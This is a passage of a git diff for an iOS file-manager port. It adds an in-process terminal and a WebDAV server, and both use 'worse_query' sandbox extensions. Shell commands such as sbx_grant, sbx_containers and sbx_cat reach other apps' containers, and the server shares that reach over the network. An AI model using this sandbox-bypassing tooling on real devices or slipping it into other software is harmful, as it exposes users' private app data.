words[1]); + } + return YES; + } + return NO; +} + +static void WQPrintMounts(WQShellContext *context) +{ + struct statfs *mounts = NULL; + int count = getmntinfo(&mounts, MNT_NOWAIT); + if (count <= 0) { + WQShellPrintf(context, @"mount: %s\r\n", strerror(errno)); + return; + } + for (int index = 0; index < count; index++) { + NSString *source = [NSString stringWithUTF8String: + mounts[index].f_mntfromname]; + NSString *target = [NSString stringWithUTF8String: + mounts[index].f_mntonname]; + NSString *type = [NSString stringWithUTF8String: + mounts[index].f_fstypename]; + NSMutableArray *flags = [NSMutableArray array]; + [flags addObject:(mounts[index].f_flags & MNT_RDONLY) + ? @"read-only" : @"read-write"]; + if (mounts[index].f_flags & MNT_LOCAL) [flags addObject:@"local"]; + if (mounts[index].f_flags & MNT_NOSUID) [flags addObject:@"nosuid"]; + if (mounts[index].f_flags & MNT_NODEV) [flags addObject:@"nodev"]; +#ifdef MNT_DONTBROWSE + if (mounts[index].f_flags & MNT_DONTBROWSE) [flags addObject:@"nobrowse"]; +#endif + WQShellPrintf(context, @"%@ on %@ (%@, %@)\r\n", source, target, type, + [flags componentsJoinedByString:@", "]); + } +} + +static BOOL WQRunArchiveCommand(NSArray *words, + WQShellContext *context) +{ + if (words.count == 0) return NO; + NSString *command = words.firstObject; + if (![command isEqualToString:@"extract"] && + ![command isEqualToString:@"unarchive"] && + ![command isEqualToString:@"unzip"] && + ![command isEqualToString:@"untar"] && + ![command isEqualToString:@"un7z"] && + ![command isEqualToString:@"unrar"]) + return NO; + + NSMutableArray *arguments = [NSMutableArray array]; + NSString *destination = nil; + for (NSUInteger index = 1; index < words.count; index++) { + NSString *word = words[index]; + if (([word isEqualToString:@"-C"] || [word isEqualToString:@"-d"]) && + index + 1 < words.count) { + destination = WQExpandPath(words[++index]); + } else { + [arguments addObject:word]; + } + } + if (arguments.count == 0) { + WQShellPrintf(context, + @"usage: %@ [-C ]\r\n", command); + return YES; + } + NSString *archive = WQExpandPath(arguments[0]); + if (!destination && arguments.count > 1) + destination = WQExpandPath(arguments[1]); + if (!destination) + destination = WQDefaultExtractDestination(archive); + + NSString *message = nil; + BOOL ok = WQExtractArchive(archive, destination, &message); + WQShellPrintf(context, @"%@\r\n", message ?: + (ok ? @"extract: ok" : @"extract: failed")); + return YES; +} + +static NSString *WQSingleQuote(NSString *value) +{ + NSString *escaped = [value stringByReplacingOccurrencesOfString:@"'" + withString:@"'\\''"]; + return [NSString stringWithFormat:@"'%@'", escaped]; +} + +static BOOL WQRunExternalExecutable(NSArray *words, + WQShellContext *context) +{ + if (words.count == 0) return NO; + NSString *command = words.firstObject; + if (![command containsString:@"/"] && ![command hasPrefix:@"."]) return NO; + NSString *path = WQExpandPath(command); + + struct stat info; + if (stat(path.fileSystemRepresentation, &info) != 0) { + WQShellPrintf(context, @"%s: %s\r\n", command.UTF8String, + strerror(errno)); + return YES; + } + if (!S_ISREG(info.st_mode) || !(info.st_mode & S_IXUSR)) { + WQShellPrintf(context, @"%s: permission denied\r\n", command.UTF8String); + return YES; + } + + // Scripts are executed inside the bundled dash. Executing a new Mach-O + // from the data container is rejected by the sandbox on iOS. + char shebang[3] = {0}; + int head = open(path.fileSystemRepresentation, O_RDONLY); + if (head >= 0) { + read(head, shebang, 2); + close(head); + } + if (shebang[0] == '#' && shebang[1] == '!') { + if (!iosSystem) { + WQShellWrite(context, "dash: unavailable\r\n"); + return YES; + } + NSMutableString *line = [NSMutableString stringWithString:@"dash "]; + [line appendString:WQSingleQuote(path)]; + for (NSUInteger index = 1; index < words.count; index++) { + [line appendString:@" "]; + [line appendString:WQSingleQuote(words[index])]; + } + iosSystem(line.UTF8String); + fflush(context.output); + return YES; + } + + posix_spawn_file_actions_t actions; + posix_spawn_file_actions_init(&actions); + posix_spawn_file_actions_adddup2(&actions, fileno(context.output), + STDOUT_FILENO); + posix_spawn_file_actions_adddup2(&actions, fileno(context.error), + STDERR_FILENO); + + NSUInteger count = words.count; + char **argv = calloc(count + 1, sizeof(char *)); + if (!argv) { + posix_spawn_file_actions_destroy(&actions); + return YES; + } + for (NSUInteger index = 0; index < count; index++) + argv[index] = strdup(words[index].UTF8String); + argv[count] = NULL; + + pid_t pid = 0; + int result = posix_spawn(&pid, path.fileSystemRepresentation, + &actions, NULL, argv, environ); + posix_spawn_file_actions_destroy(&actions); + for (NSUInteger index = 0; index < count; index++) free(argv[index]); + free(argv); + + if (result != 0) { + NSLog(@"[Exec] posix_spawn %@ failed: %s (%d)", path, + strerror(result), result); + WQShellPrintf(context, @"%s: %s (data-container binaries cannot be " + @"executed; use a shell script)\r\n", command.UTF8String, + strerror(result)); + return YES; + } + int status = 0; + waitpid(pid, &status, 0); + fflush(context.output); + return YES; +} + +static void WQPrintNeofetch(WQShellContext *context) +{ + struct utsname info; + uname(&info); + NSString *device = @"iPhone"; + size_t size = 0; + if (sysctlbyname("hw.machine", NULL, &size, NULL, 0) == 0 && size > 0) { + char *machine = calloc(1, size); + if (machine && sysctlbyname("hw.machine", machine, &size, NULL, 0) == 0) + device = [NSString stringWithUTF8String:machine] ?: device; + free(machine); + } + NSString *os = [NSString stringWithFormat:@"iOS %@", + NSProcessInfo.processInfo.operatingSystemVersionString]; + NSString *uptime = [NSString stringWithFormat:@"%.0f min", + NSProcessInfo.processInfo.systemUptime / 60.0]; + double memory = NSProcessInfo.processInfo.physicalMemory / 1073741824.0; + struct statfs disk = {0}; + statfs("/", &disk); + double total = (double)disk.f_blocks * disk.f_bsize / 1073741824.0; + double freeSpace = (double)disk.f_bavail * disk.f_bsize / 1073741824.0; + + const char *logo[] = { + " 'c.", + " ,xNMM.", + " .OMMMMo", + " lMM\"", + " .;loddo:. .olloddol;.", + " cKMMMMMMMMMMNWMMMMMMMMMM0:", + " .KMMMMMMMMMMMMMMMMMMMMMMMWd.", + " XMMMMMMMMMMMMMMMMMMMMMMMX.", + ";MMMMMMMMMMMMMMMMMMMMMMMM:", + ":MMMMMMMMMMMMMMMMMMMMMMMM:", + ".MMMMMMMMMMMMMMMMMMMMMMMMX.", + " kMMMMMMMMMMMMMMMMMMMMMMMMWd.", + " 'XMMMMMMMMMMMMMMMMMMMMMMMMMMk", + " 'XMMMMMMMMMMMMMMMMMMMMMMMMK.", + " kMMMMMMMMMMMMMMMMMMMMMMd", + " ;KMMMMMMMWXXWMMMMMMMk.", + " 'cooc*\" \"*coo'", + NULL + }; + NSMutableString *out = [NSMutableString string]; + [out appendString:@"\r\n"]; + NSInteger logoCount = 0; + while (logo[logoCount]) logoCount++; + NSArray *lines = @[ + [NSString stringWithFormat:@"filza27.2@%@", device], + @"-----------------", + [NSString stringWithFormat:@"OS: %@", os], + [NSString stringWithFormat:@"Host: %@", device], + [NSString stringWithFormat:@"Kernel: %s %s", info.sysname, info.release], + [NSString stringWithFormat:@"Uptime: %@", uptime], + [NSString stringWithFormat:@"Memory: %.1f GB", memory], + [NSString stringWithFormat:@"Disk: %.1f/%.1f GB", total - freeSpace, total], + [NSString stringWithFormat:@"Shell: filza27.2 (%@)", gIOSAvailable ? @"ios_system" : @"builtin"], + [NSString stringWithFormat:@"Terminal: %@", @"Filza WQ"], + [NSString stringWithFormat:@"WQ roots: %lu", (unsigned long)WQAccessibleRoots().count], + ]; + for (NSInteger i = 0; i < MAX(logoCount, (NSInteger)lines.count); i++) { + NSString *left = i < logoCount ? @(logo[i]) : @""; + NSString *right = i < (NSInteger)lines.count ? lines[i] : @""; + [out appendFormat:@"%@%@%@\r\n", left, + left.length < 52 ? [@"" stringByPaddingToLength:52 - left.length + withString:@" " startingAtIndex:0] : @" ", right]; + } + [out appendString:@"\r\n"]; + WQShellWrite(context, out.UTF8String); +} + +static void WQPrintSBXHelp(WQShellContext *context) +{ + WQShellWrite(context, + "\r\nFilza WQ / worse_query shell\r\n" + "================================\r\n" + " sbxhelp this help\r\n" + " sbx_status active grants and mount status\r\n" + " sbx_remount re-run container discovery\r\n" + " sbx_grant [-c] grant a sandbox extension\r\n" + " sbx_release release extensions\r\n" + " sbx_ls list a directory\r\n" + " sbx_cat print a file\r\n" + " sbx_cp copy a file\r\n" + " sbx_hexdump [-n N] hex dump\r\n" + " sbx_containers [root] enumerate container UUIDs\r\n" + " sbx_id identify a container\r\n" + " mount list mounted filesystems\r\n" + " extract [-C dir] unzip/tar/gz/7z/rar/xz/bz2/zst\r\n" + " neofetch system information\r\n" + " respring restart SpringBoard\r\n" + " apt / apt-get update|list|search|show|install|remove\r\n" + " dpkg / dpkg-deb -i|-l|-s|-L|-r|-x|--contents\r\n" + " The full a-Shell mini command set is also available.\r\n\r\n"); +} + +static void WQShellLoop(WQShellContext *context) +{ + @autoreleasepool { + [NSThread currentThread].name = @"filza27.2-shell"; + if (!WQTerminalPrepare()) + WQShellWrite(context, "ios_system unavailable; using built-in commands\r\n"); + char sessionName[64]; + snprintf(sessionName, sizeof(sessionName), "filza-wq-%p", context); + if (iosSwitchSession) iosSwitchSession(sessionName); + if (iosSetTty) iosSetTty(context.output); + if (iosSetStreams) iosSetStreams(context.input, context.output, context.error); + + WQShellWrite(context, + "\r\nfilza27.2 — iOS 27.2 worse_query terminal\r\n" + "Type 'help' for commands. Filesystem uses the active sandbox extensions.\r\n\r\n"); + WQShellPrompt(context); + + NSMutableString *line = [NSMutableString string]; + NSInteger historyIndex = -1; + char character; + while (context.running) { + ssize_t got = read(context.descriptor, &character, 1); + if (got <= 0) break; + if (character == '\r' || character == '\n') { + WQShellWrite(context, "\r\n"); + NSString *command = [line stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]; + [line setString:@""]; + historyIndex = -1; + if (command.length) { + if (![context.history.lastObject isEqualToString:command]) { + [context.history addObject:command]; + if (context.history.count > 100) + [context.history removeObjectAtIndex:0]; + } + NSArray *words = WQSplitCommand(command); + NSString *first = words.firstObject; + if ([first isEqualToString:@"exit"] || + [first isEqualToString:@"logout"]) { + WQShellWrite(context, "logout\r\n"); + break; + } + if ([first isEqualToString:@"clear"]) { + WQShellWrite(context, "\033[2J\033[H"); + } else if ([first isEqualToString:@"cd"]) { + NSString *target = words.count > 1 ? words[1] : NSHomeDirectory(); + WQChangeDirectory(context, target); + } else if ([first hasPrefix:@"sbx_"]) { + if (!WQRunSBXCommand(words, context)) + WQShellPrintf(context, @"%@: unknown sbx command\r\n", + first); + } else if ([first isEqualToString:@"respring"] || + [first isEqualToString:@"springboard"]) { + WQShellWrite(context, "respring: restarting SpringBoard...\r\n"); + WQPerformRespring(); + } else if ([first isEqualToString:@"mount"]) { + WQPrintMounts(context); + } else if ([first isEqualToString:@"neofetch"]) { + WQPrintNeofetch(context); + } else if ([first isEqualToString:@"sbxhelp"] || + [first isEqualToString:@"badshell"]) { + WQPrintSBXHelp(context); + } else if ([first isEqualToString:@"apt"] || + [first isEqualToString:@"apt-get"] || + [first isEqualToString:@"dpkg"] || + [first isEqualToString:@"dpkg-deb"]) { + WQRunPackages(words, context.output, context.error); + fflush(context.output); + } else if (WQRunArchiveCommand(words, context)) { + // extracted with libarchive + } else if (WQRunExternalExecutable(words, context)) { + // executed an explicit executable path + } else if (!gIOSAvailable && WQFallbackCommand(words, context)) { + // handled by fallback + } else { + int status = iosSystem ? iosSystem(command.UTF8String) : 127; + if (status != 0 && !gIOSAvailable) { + WQShellPrintf(context, @"%s: command not found\r\n", + first.UTF8String); + } + fflush(context.output); + } + } + WQShellPrompt(context); + continue; + } + if (character == 0x7f || character == 0x08) { + if (line.length) { + [line deleteCharactersInRange: + NSMakeRange(line.length - 1, 1)]; + WQShellWrite(context, "\b \b"); + } + continue; + } + if (character == 0x03) { + [line setString:@""]; + WQShellWrite(context, "^C\r\n"); + WQShellPrompt(context); + continue; + } + if (character == 0x04) { + if (line.length == 0) { + WQShellWrite(context, "logout\r\n"); + break; + } + continue; + } + if (character == 0x1b) { + char sequence[3] = {0}; + if (read(context.descriptor, sequence, 2) != 2) continue; + if (sequence[0] == '[' && (sequence[1] == 'A' || sequence[1] == 'B')) { + if (context.history.count == 0) continue; + if (historyIndex < 0) historyIndex = (NSInteger)context.history.count; + historyIndex += (sequence[1] == 'A') ? -1 : 1; + if (historyIndex < 0) historyIndex = 0; + if (historyIndex >= (NSInteger)context.history.count) + historyIndex = (NSInteger)context.history.count; + for (NSUInteger i = 0; i < line.length; i++) + WQShellWrite(context, "\b \b"); + [line setString:@""]; + if (historyIndex < (NSInteger)context.history.count) { + [line appendString:context.history[(NSUInteger)historyIndex]]; + WQShellWrite(context, line.UTF8String); + } + } + continue; + } + if (character == '\t') continue; + if (character >= 0x20 || character < 0) { + [line appendFormat:@"%c", character]; + write(context.descriptor, &character, 1); + } + } + context.running = NO; + fclose(context.input); + fclose(context.output); + fclose(context.error); + close(context.descriptor); + } +} + +void WQTerminalSelfTest(void) +{ + int pid = -1; + int descriptor = WQTerminalSpawnShell(&pid, NSHomeDirectory()); + if (descriptor < 0) { + NSLog(@"[Terminal] self-test spawn failed"); + return; + } + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 600 * NSEC_PER_MSEC), + dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + NSMutableString *command = [NSMutableString stringWithString: + @"echo WQ_TERMINAL_OK\r" + @"sbxhelp\r" + @"neofetch\r" + @"sbx_status\r" + @"ssh -V\r" + @"apt --version\r" + @"dpkg --version\r" + @"perl -v\r" + @"rg --version\r" + @"make --version\r" + @"badshell\r" + @"ls /\r"]; + NSString *debPath = [[NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject + stringByAppendingPathComponent:@"test.deb"] copy]; + if ([[NSFileManager defaultManager] fileExistsAtPath:debPath]) { + [command appendFormat:@"dpkg -i %@\r", debPath]; + [command appendString:@"dpkg -l\r"]; + [command appendString:@"dpkg -L wqtest\r"]; + NSString *installed = [[[debPath stringByDeletingLastPathComponent] + stringByAppendingPathComponent:@".terminal/root/usr/share/wqtest/hello.txt"] copy]; + [command appendFormat:@"cat %@\r", installed]; + } + write(descriptor, command.UTF8String, strlen(command.UTF8String)); + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 6000 * NSEC_PER_MSEC), + dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + char buffer[131072] = {0}; + ssize_t got = read(descriptor, buffer, sizeof(buffer) - 1); + NSLog(@"[Terminal] self-test output (%zd bytes):\n%s", + got, got > 0 ? buffer : "(none)"); + close(descriptor); + }); + }); +} + +void WQTerminalPresentTestUI(void) +{ + Class terminalClass = NSClassFromString(@"NewTerminalViewController"); + if (!terminalClass) terminalClass = NSClassFromString(@"TerminalViewController"); + if (!terminalClass) return; + id controller = nil; + SEL selector = NSSelectorFromString(@"initWithCommand:uiConfig:withKeyboard:"); + if ([terminalClass instancesRespondToSelector:selector]) { + id (*function)(id, SEL, id, id, BOOL) = (id(*)(id, SEL, id, id, BOOL))objc_msgSend; + controller = function([terminalClass alloc], selector, @"fish", nil, YES); + } else { + controller = [[terminalClass alloc] init]; + } + dispatch_async(dispatch_get_main_queue(), ^{ + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (candidate.isKeyWindow && !candidate.isHidden) { window = candidate; break; } + if (!window) + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (!candidate.isHidden) { window = candidate; break; } + [window.rootViewController presentViewController:controller + animated:YES completion:nil]; + }); +} + +int WQTerminalSpawnShell(int *pidOut, NSString *chdirPath) +{ + if (pidOut) *pidOut = 999999; + WQTerminalPrepare(); + if (chdirPath.length) chdir(chdirPath.fileSystemRepresentation); + + int master = -1; + int slave = -1; + struct winsize windowSize = {0}; + windowSize.ws_row = 40; + windowSize.ws_col = 100; + BOOL usingPTY = openpty(&master, &slave, NULL, NULL, &windowSize) == 0; + if (!usingPTY) { + // The app sandbox denies /dev/ptmx (openpty returns EPERM). A + // socketpair still gives the terminal UI a bidirectional descriptor, + // and our in-process shell implements its own line editing. + int pair[2] = {-1, -1}; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, pair) != 0) { + NSLog(@"[Terminal] socketpair failed errno=%d", errno); + return -1; + } + master = pair[0]; + slave = pair[1]; + NSLog(@"[Terminal] openpty unavailable (errno=%d), using socketpair", errno); + } else { + // The UI puts the PTY in raw mode. Do the same on the slave so the + // shell loop receives one keystroke at a time. + struct termios attributes; + if (tcgetattr(slave, &attributes) == 0) { + cfmakeraw(&attributes); + attributes.c_oflag |= OPOST | ONLCR; + tcsetattr(slave, TCSANOW, &attributes); + } + } + + WQShellContext *context = [WQShellContext new]; + context.descriptor = slave; + context.input = fdopen(dup(slave), "r"); + context.output = fdopen(dup(slave), "w"); + context.error = fdopen(dup(slave), "w"); + context.history = [NSMutableArray array]; + context.running = YES; + setvbuf(context.output, NULL, _IONBF, 0); + setvbuf(context.error, NULL, _IONBF, 0); + + dispatch_queue_t queue = dispatch_queue_create( + "com.filzaslop.worsequery.shell", DISPATCH_QUEUE_SERIAL); + dispatch_async(queue, ^{ WQShellLoop(context); }); + NSLog(@"[Terminal] in-process shell master=%d slave=%d", master, slave); + return master; +} diff --git a/WQWebDAVServer.h b/WQWebDAVServer.h new file mode 100644 index 0000000..2dc86c7 --- /dev/null +++ b/WQWebDAVServer.h @@ -0,0 +1,15 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Starts the in-process WebDAV server. Filza normally starts a root launch +/// daemon for this; on a normally signed app the daemon path is unavailable, +/// so this server lives in the Filza process and uses the active worse_query +/// extensions. +FOUNDATION_EXPORT BOOL WQWebDAVStart(NSString *_Nullable *_Nullable error); +FOUNDATION_EXPORT void WQWebDAVStop(void); +FOUNDATION_EXPORT BOOL WQWebDAVIsRunning(void); +FOUNDATION_EXPORT NSString *WQWebDAVURL(void); +FOUNDATION_EXPORT NSInteger WQWebDAVPort(void); + +NS_ASSUME_NONNULL_END diff --git a/WQWebDAVServer.m b/WQWebDAVServer.m new file mode 100644 index 0000000..23634f2 --- /dev/null +++ b/WQWebDAVServer.m @@ -0,0 +1,1151 @@ +// +// WQWebDAVServer.m +// FilzaSlop +// +// Small in-process WebDAV/HTTP server. Filza's stock WebDAV mode launches a +// root launch daemon; that cannot work in a normally signed app. This server +// serves the same virtual root using the sandbox extensions consumed by +// worse_query, entirely inside the Filza process. +// + +#import "WQWebDAVServer.h" +#import "MCMFilzaIntegration.h" + +#import +#import +#import +#import + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static NSString *const kWQServerName = @"FilzaSlop WQ"; +static const NSInteger kWQDefaultPort = 11111; +static const NSUInteger kWQMaxBodyLength = 1024UL * 1024UL * 1024UL; + +static int gListen4 = -1; +static int gListen6 = -1; +static BOOL gRunning; +static NSString *gRootPath; +static NSString *gUsername; +static NSString *gPassword; +static dispatch_queue_t gConnectionQueue; +static NSNetService *gBonjourService; +static NSInteger gBoundPort; +static AVAudioPlayer *gSilentPlayer; +static UIBackgroundTaskIdentifier gBackgroundTask; +static BOOL gBackgroundTaskActive; +static NSObject *gServerLock; + +#pragma mark - Small helpers + +static NSString *WQHTTPDate(NSDate *date) +{ + static NSDateFormatter *formatter; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + formatter = [NSDateFormatter new]; + formatter.locale = [NSLocale localeWithLocaleIdentifier:@"en_US_POSIX"]; + formatter.timeZone = [NSTimeZone timeZoneWithAbbreviation:@"GMT"]; + formatter.dateFormat = @"EEE, dd MMM yyyy HH:mm:ss 'GMT'"; + }); + @synchronized (formatter) { + return [formatter stringFromDate:date ?: [NSDate date]]; + } +} + +static NSString *WQXMLEscape(NSString *text) +{ + NSMutableString *value = [text mutableCopy] ?: [NSMutableString string]; + [value replaceOccurrencesOfString:@"&" withString:@"&" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@"<" withString:@"<" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@">" withString:@">" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@"\"" withString:@""" + options:0 range:NSMakeRange(0, value.length)]; + [value replaceOccurrencesOfString:@"'" withString:@"'" + options:0 range:NSMakeRange(0, value.length)]; + return value; +} + +static NSString *WQEncodeComponent(NSString *component) +{ + NSCharacterSet *allowed = [NSCharacterSet + characterSetWithCharactersInString: + @"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&'()*+,;=:@"]; + return [component stringByAddingPercentEncodingWithAllowedCharacters:allowed] ?: component; +} + +static NSString *WQEncodeHref(NSString *relativePath, BOOL directory) +{ + if (relativePath.length == 0) return directory ? @"/" : @"/"; + NSMutableArray *components = [NSMutableArray array]; + for (NSString *component in [relativePath componentsSeparatedByString:@"/"]) { + if (component.length == 0) continue; + [components addObject:WQEncodeComponent(component)]; + } + NSString *encoded = [components componentsJoinedByString:@"/"]; + if (directory) encoded = [encoded stringByAppendingString:@"/"]; + return [@"/" stringByAppendingString:encoded]; +} + +static NSString *WQRelativePath(NSString *absolutePath) +{ + NSString *root = gRootPath; + if (!root.length) return absolutePath.lastPathComponent ?: @""; + if ([absolutePath isEqualToString:root]) return @""; + NSString *prefix = [root stringByAppendingString:@"/"]; + if ([absolutePath hasPrefix:prefix]) + return [absolutePath substringFromIndex:prefix.length]; + return absolutePath.lastPathComponent ?: @""; +} + +static NSString *WQMimeType(NSString *path) +{ + static NSDictionary *types; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + types = @{ + @"html": @"text/html; charset=utf-8", @"htm": @"text/html; charset=utf-8", + @"txt": @"text/plain; charset=utf-8", @"log": @"text/plain; charset=utf-8", + @"md": @"text/markdown; charset=utf-8", + @"css": @"text/css; charset=utf-8", @"js": @"application/javascript", + @"json": @"application/json", @"xml": @"application/xml", + @"plist": @"application/x-plist", @"mobileprovision": @"application/octet-stream", + @"png": @"image/png", @"jpg": @"image/jpeg", @"jpeg": @"image/jpeg", + @"gif": @"image/gif", @"heic": @"image/heic", @"heif": @"image/heif", + @"webp": @"image/webp", @"svg": @"image/svg+xml", + @"pdf": @"application/pdf", @"zip": @"application/zip", + @"gz": @"application/gzip", @"tgz": @"application/gzip", + @"tar": @"application/x-tar", @"deb": @"application/x-debian-package", + @"mp3": @"audio/mpeg", @"m4a": @"audio/mp4", @"wav": @"audio/wav", + @"mp4": @"video/mp4", @"mov": @"video/quicktime", @"m4v": @"video/x-m4v", + @"dylib": @"application/octet-stream", @"framework": @"application/octet-stream", + @"sqlite": @"application/vnd.sqlite3", @"db": @"application/vnd.sqlite3", + }; + }); + return types[path.pathExtension.lowercaseString] ?: @"application/octet-stream"; +} + +static NSString *WQStatusText(NSInteger status) +{ + switch (status) { + case 200: return @"OK"; + case 201: return @"Created"; + case 204: return @"No Content"; + case 206: return @"Partial Content"; + case 207: return @"Multi-Status"; + case 301: return @"Moved Permanently"; + case 400: return @"Bad Request"; + case 401: return @"Unauthorized"; + case 403: return @"Forbidden"; + case 404: return @"Not Found"; + case 405: return @"Method Not Allowed"; + case 409: return @"Conflict"; + case 412: return @"Precondition Failed"; + case 416: return @"Range Not Satisfiable"; + case 423: return @"Locked"; + case 500: return @"Internal Server Error"; + case 501: return @"Not Implemented"; + case 507: return @"Insufficient Storage"; + default: return @"Error"; + } +} + +static NSString *WQPrimaryIPv4(void) +{ + struct ifaddrs *interfaces = NULL; + if (getifaddrs(&interfaces) != 0) return nil; + NSString *fallback = nil; + for (struct ifaddrs *cursor = interfaces; cursor; cursor = cursor->ifa_next) { + if (!cursor->ifa_addr || cursor->ifa_addr->sa_family != AF_INET) continue; + NSString *name = [NSString stringWithUTF8String:cursor->ifa_name ?: ""]; + if ([name isEqualToString:@"lo0"]) continue; + char address[INET_ADDRSTRLEN] = {0}; + struct sockaddr_in *sin = (struct sockaddr_in *)cursor->ifa_addr; + if (!inet_ntop(AF_INET, &sin->sin_addr, address, sizeof(address))) continue; + NSString *value = [NSString stringWithUTF8String:address]; + if (!value.length) continue; + if ([name isEqualToString:@"en0"] || [name isEqualToString:@"en1"]) + return value; + if (!fallback && ![value hasPrefix:@"169.254."]) fallback = value; + } + freeifaddrs(interfaces); + return fallback; +} + +NSInteger WQWebDAVPort(void) +{ + id value = [NSUserDefaults.standardUserDefaults objectForKey:@"air-port"]; + if (!value) { + Class prefsClass = NSClassFromString(@"TGPreferences"); + id prefs = [prefsClass respondsToSelector:NSSelectorFromString(@"sharedInstance")] + ? ((id(*)(id, SEL))objc_msgSend)(prefsClass, + NSSelectorFromString(@"sharedInstance")) : nil; + if ([prefs respondsToSelector:NSSelectorFromString(@"objectForPreferenceKey:")]) + value = ((id(*)(id, SEL, id))objc_msgSend)(prefs, + NSSelectorFromString(@"objectForPreferenceKey:"), @"air-port"); + } + NSInteger port = [value respondsToSelector:@selector(integerValue)] + ? [value integerValue] : kWQDefaultPort; + if (port < 1024 || port > 65535) port = kWQDefaultPort; + return port; +} + +NSString *WQWebDAVURL(void) +{ + NSString *ip = WQPrimaryIPv4() ?: @"127.0.0.1"; + NSInteger port = gBoundPort > 0 ? gBoundPort : WQWebDAVPort(); + return [NSString stringWithFormat:@"http://%@:%ld/", ip, (long)port]; +} + +BOOL WQWebDAVIsRunning(void) +{ + return gRunning && (gListen4 >= 0 || gListen6 >= 0); +} + +#pragma mark - Socket reader + +@interface WQSocketReader : NSObject +@property (nonatomic) int descriptor; +@property (nonatomic, strong) NSMutableData *buffer; +@end + +@implementation WQSocketReader + +- (instancetype)initWithDescriptor:(int)descriptor +{ + self = [super init]; + if (!self) return nil; + _descriptor = descriptor; + _buffer = [NSMutableData data]; + return self; +} + +- (BOOL)fill +{ + uint8_t chunk[65536]; + ssize_t got = recv(self.descriptor, chunk, sizeof(chunk), 0); + if (got <= 0) return NO; + [self.buffer appendBytes:chunk length:(NSUInteger)got]; + return YES; +} + +- (NSData *)readUntil:(NSData *)delimiter +{ + while (YES) { + NSRange range = [self.buffer rangeOfData:delimiter + options:0 range:NSMakeRange(0, self.buffer.length)]; + if (range.location != NSNotFound) { + NSData *value = [self.buffer subdataWithRange: + NSMakeRange(0, range.location)]; + NSUInteger consumed = NSMaxRange(range); + [self.buffer replaceBytesInRange:NSMakeRange(0, consumed) + withBytes:NULL length:0]; + return value; + } + if (![self fill]) return nil; + } +} + +- (NSData *)readExact:(NSUInteger)length +{ + while (self.buffer.length < length) { + if (![self fill]) return nil; + } + NSData *value = [self.buffer subdataWithRange:NSMakeRange(0, length)]; + [self.buffer replaceBytesInRange:NSMakeRange(0, length) + withBytes:NULL length:0]; + return value; +} + +@end + +#pragma mark - Request + +@interface WQHTTPRequest : NSObject +@property (nonatomic, copy) NSString *method; +@property (nonatomic, copy) NSString *rawPath; +@property (nonatomic, copy) NSString *version; +@property (nonatomic, strong) NSDictionary *headers; +@property (nonatomic, strong) NSData *body; +@end + +@implementation WQHTTPRequest +@end + +static NSData *WQCRLF(void) +{ + static NSData *value; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + value = [@"\r\n" dataUsingEncoding:NSASCIIStringEncoding]; + }); + return value; +} + +static NSData *WQHeaderDelimiter(void) +{ + static NSData *value; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + value = [@"\r\n\r\n" dataUsingEncoding:NSASCIIStringEncoding]; + }); + return value; +} + +#pragma mark - Responses + +static void WQSendAll(int descriptor, const void *bytes, NSUInteger length) +{ + const uint8_t *cursor = bytes; + NSUInteger remaining = length; + while (remaining > 0) { + ssize_t sent = send(descriptor, cursor, remaining, 0); + if (sent <= 0) { + if (errno == EINTR) continue; + break; + } + cursor += sent; + remaining -= (NSUInteger)sent; + } +} + +static void WQRespond(int descriptor, NSInteger status, + NSDictionary *extraHeaders, + NSData *body, NSInteger contentLengthOverride) +{ + NSMutableString *head = [NSMutableString stringWithFormat: + @"HTTP/1.1 %ld %@\r\n", (long)status, WQStatusText(status)]; + [head appendFormat:@"Date: %@\r\n", WQHTTPDate([NSDate date])]; + [head appendFormat:@"Server: %@\r\n", kWQServerName]; + [head appendString:@"Connection: close\r\n"]; + [head appendString:@"Accept-Ranges: bytes\r\n"]; + + BOOL hasLength = NO; + for (NSString *key in extraHeaders) { + if ([key caseInsensitiveCompare:@"Content-Length"] == NSOrderedSame) + hasLength = YES; + [head appendFormat:@"%@: %@\r\n", key, extraHeaders[key]]; + } + if (!hasLength) { + NSInteger length = contentLengthOverride >= 0 + ? contentLengthOverride : (NSInteger)body.length; + [head appendFormat:@"Content-Length: %ld\r\n", (long)length]; + } + [head appendString:@"\r\n"]; + + NSData *headData = [head dataUsingEncoding:NSUTF8StringEncoding]; + WQSendAll(descriptor, headData.bytes, headData.length); + if (body.length > 0) + WQSendAll(descriptor, body.bytes, body.length); +} + +#pragma mark - Path handling + +static NSString *WQResolvePath(NSString *requestPath) +{ + NSString *decoded = [requestPath stringByRemovingPercentEncoding] ?: requestPath; + if (![decoded hasPrefix:@"/"]) return nil; + NSMutableArray *components = [NSMutableArray array]; + for (NSString *component in [decoded componentsSeparatedByString:@"/"]) { + if (component.length == 0 || [component isEqualToString:@"."]) continue; + if ([component isEqualToString:@".."]) { + if (components.count > 0) [components removeLastObject]; + continue; + } + [components addObject:component]; + } + NSString *relative = [components componentsJoinedByString:@"/"]; + if (relative.length == 0) return gRootPath; + return [gRootPath stringByAppendingPathComponent:relative]; +} + +static BOOL WQFileIsDirectory(NSString *path) +{ + BOOL directory = NO; + BOOL exists = [NSFileManager.defaultManager fileExistsAtPath:path + isDirectory:&directory]; + return exists && directory; +} + +static NSDictionary *WQBasicHeaders(NSString *contentType) +{ + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + headers[@"Content-Type"] = contentType ?: @"text/plain; charset=utf-8"; + return headers; +} + +#pragma 